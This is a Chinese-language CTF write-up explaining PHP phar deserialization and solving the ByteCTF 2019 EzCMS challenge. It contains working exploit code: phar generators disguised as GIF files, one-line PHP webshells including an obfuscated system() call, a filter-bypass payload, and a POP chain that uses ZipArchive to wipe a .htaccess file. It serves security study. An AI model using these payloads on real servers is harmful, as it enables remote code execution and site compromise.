php之phar-bytectf2019-EzCMS

前言

phar的东西一直没有系统的整理一下,这次碰到这题又卡死在第二层emmmmmm

phar简介

phar是什么?phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上。

简单来说,比如Jar文件(Jar是Java ARchive的缩写)。一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单。而PHAR (“Php ARchive”) 就是PHP里类似于JAR的一种打包文件。

我们先来看一段生成phar文件的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='R1dd1er';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后查看一下生成的test.phar文件

可以看到里面确实有一段反序列化的字符串

phar是由四个部分组成的

a stub

可以理解为一个标志,格式为xxx<?php xxx; HALT_COMPILER();?>,前面内容不限,但必须以HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件

a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

the file contents

被压缩文件的内容。

[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾

phar反序列化

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,经过知道创宇安全研究员的测试后发现受影响的函数如下

通过SUCTF出题人的出题笔记也能发现其他的一些可利用的函数

1
2
3
finfo_file
finfo_buffer
mime_content_type

上述三个函数均通过_php_finfo_get_type间接调用了关键函数php_stream_open_wrapper_ex,导致均可以使用phar://触发phar反序列化

使用之前生成的test.phar文件进行一个测试

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'successssss!!!!';
}
}

$filename = 'phar://test.phar/test.txt';
file_get_contents($filename);
?>

这样是可以触发相应的魔术方法的,也就是说成功的反序列化了.因此配合一些系统函数,可以在不调用unserialize()的情况下进行反序列化操作

而实现这样的攻击,需要具备以下的条件

  • phar文件要能够上传到服务器端。
  • 要有可用的魔术方法作为“跳板”。
  • 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

这里再备忘一下常用的魔术方法

  • __wakeup():unserialize()时自动调用
  • __destruct():在对象被销毁(unset或PHP执行结束)时自动执行
  • __construct():在使用 new关键字使用类实例化一个对象时自动执行,但是在unserialize()时不会自动调用
  • call():在对象中调用一个不可访问(不存在)方法时,call() 会被调用
  • get():读取不可访问属性的值时,get() 会被调用。
  • set() :在给不可访问属性赋值时,set() 会被调用。
  • __toString():在对象被当成字符串使用时自动执行,echo出反序列化类时触发
  • sleep():执行serialize()时,先会调用sleep()
  • __invoke():在对象被当成函数使用时自动执行
  • __clone():在克隆(clone)对象时自动执行

phar文件格式伪造及上传绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("test2.phar");
$phar = new Phar("test2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

我们来看一下生成的phar文件的类型

1
2
$ file test2.phar
test2.phar: GIF image data, version 89a, 16188 x 26736

的确是成功的变成了一个gif文件,这样就可以绕过一些文件上传的限制

同时,phar伪协议还可以配合文件包含进行getshell

include_test.php

1
2
3
<?php 
include('phar://./ma.jpg/ma.php');
?>

ma.php

1
<?php @eval($_POST["cmd"]);?>

将ma.php压缩后,后缀改成jpg,访问include_test.php,可以包含到一句话木马

phar其他利用

参考sxgg的文章https://blog.zsxsoft.com/post/38,从底层来看phar相关利用的实现,可以发现其他更多的利用方式

根据文章的内容,Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用。而phar这个扩展,其就注册了phar://这个stream wrapper(流包装器)。可以使用stream_get_wrapper看到系统内注册了哪一些wrapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
php > var_dump(stream_get_wrappers());
php shell code:1:
array(11) {
[0] =>
string(3) "php"
[1] =>
string(4) "file"
[2] =>
string(4) "glob"
[3] =>
string(4) "data"
[4] =>
string(4) "http"
[5] =>
string(3) "ftp"
[6] =>
string(3) "zip"
[7] =>
string(13) "compress.zlib"
[8] =>
string(5) "https"
[9] =>
string(4) "ftps"
[10] =>
string(4) "phar"
}

这边也顺便备忘一下常用伪协议的用法

除了phar协议,使用普通的php://也能触发相应的反序列化操作

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
class R1dd1er{
public $a = '';
public function __wakeup(){
echo "yesssssss";
}
}
mime_content_type("php://filter/read=convert.base64-encode/resource=phar://./test3.phar");
//include $_GET['b'];
?>

测试结果是可以弹出yesssssss的,也就是成功的反序列化

当然如果来个get请求变量,也是可以通过?b=php://filter/read=convert.base64-encode/resource=phar://./test3.phar来实现反序列化的

bytectf2019-EzCMS

第一层是一个哈希拓展攻击,比较简单,没什么特别的,就跳过了,主要是关注一下第二步如何通过phar反序列化干掉死亡.htaccess

本题上传的文件都会在一个无效化的.htaccess文件下层,导致不解析.

view.php

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];

file_name和file_path都可控,并且实例化了一个File类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class File{

public $filename;
public $filepath;
public $checker;

function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}

public function view_detail(){

if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;

}

public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}

function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}

}

关注到了mime_content_type函数,嗯,是个可以触发phar反序列化的函数,并且其参数是我们可控的.

思路应该是想办法修改或者干掉这个.htaccess或者将文件上传到别的目录下.想将文件传到其他目录,就得反序列化调用upload_file函数,但是其中move_uploaded_file的参数file_tmp(存储在服务器的文件的临时副本的名称),我们并不能知道它的值,也就无法控制这个文件移动函数,看来这个方法行不通

只能想办法处理.htaccess

我们还能注意到正则前面有个^,所以只匹配字符串的开始,那么便可以利用
php://filter/resource=phar://来进行绕过,这个点先留着.

审计代码,发现File类的代码下有个__destruct,里面的内容是checker->upload_file(),这个变量调用的方法并不是这个类的方法,再看到其他类的代码里有__call方法,嗯,看来是要从这个方向入手

我们关注到Profile里面的__call方法

1
2
3
4
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}

其中的admin是可控的,如果能将admin改成某种内置类,并且这个内置类有open这个方法,就可以覆盖当下的open,使用下面的脚本来寻找含有open方法的内置类

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'open'
))) {
print $class . '::' . $method . "\n";
}
}
}

1
2
3
SessionHandler::open
ZipArchive::open
XMLReader::open

从ZipArchive入手,如果在本机做实验的话记得安装一下zip模块

ZipArchive::open ( string $filename [, int $flags ] ) : mixed打开一个新的zip存档以进行读取,写入或修改。

1
2
3
4
5
ZIPARCHIVE::OVERWRITE (integer)
总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖。

ZIPARCHIVE::CREATE (integer)
如果不存在则创建一个zip压缩包。

为了能调用到Profile的__call方法,我们将File类的checker赋值为一个Profile对象,这样由于调用了不存在的方法,就会去调用__call,同时,参考ZipArchive::open的用法,刚好我们能控制这个open的两个参数,这样就可以构造出一个覆盖.htaccess效果的open方法.

最终生成phar的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
class File{

public $filename;
public $filepath;
public $checker;

function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}
}

class Profile{

public $username;
public $password;
public $admin;

function __construct()
{
$this->username = "/var/www/html/sandbox/bad194011f5ad0cf609c77ad222e50d6/.htaccess";
$this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$this->admin = new ZipArchive();
}
}
$a = new File('rrr','rrr');
@unlink("2.phar");
$phar = new Phar("2.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

接下来再通过拼接生成的一句话木马来绕过检测

1
2
3
4
5
6
<?php
$a="sys";
$b="tem";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>

将phar文件上传后,用前面说的php://filter/resource=phar://去触发反序列化,然后就把.htaccess干掉了,再访问我们上传的马就可以拿到shell
payload:view.php?filename=8650b7902e96771b2267398829fc5234.phar&filepath=php://filter/resource=phar://sandbox/bad194011f5ad0cf609c77ad222e50d6/8650b7902e96771b2267398829fc5234.phar

参考链接

https://paper.seebug.org/680/#0x01

https://blog.zsxsoft.com/post/38

https://xz.aliyun.com/t/6057#toc-0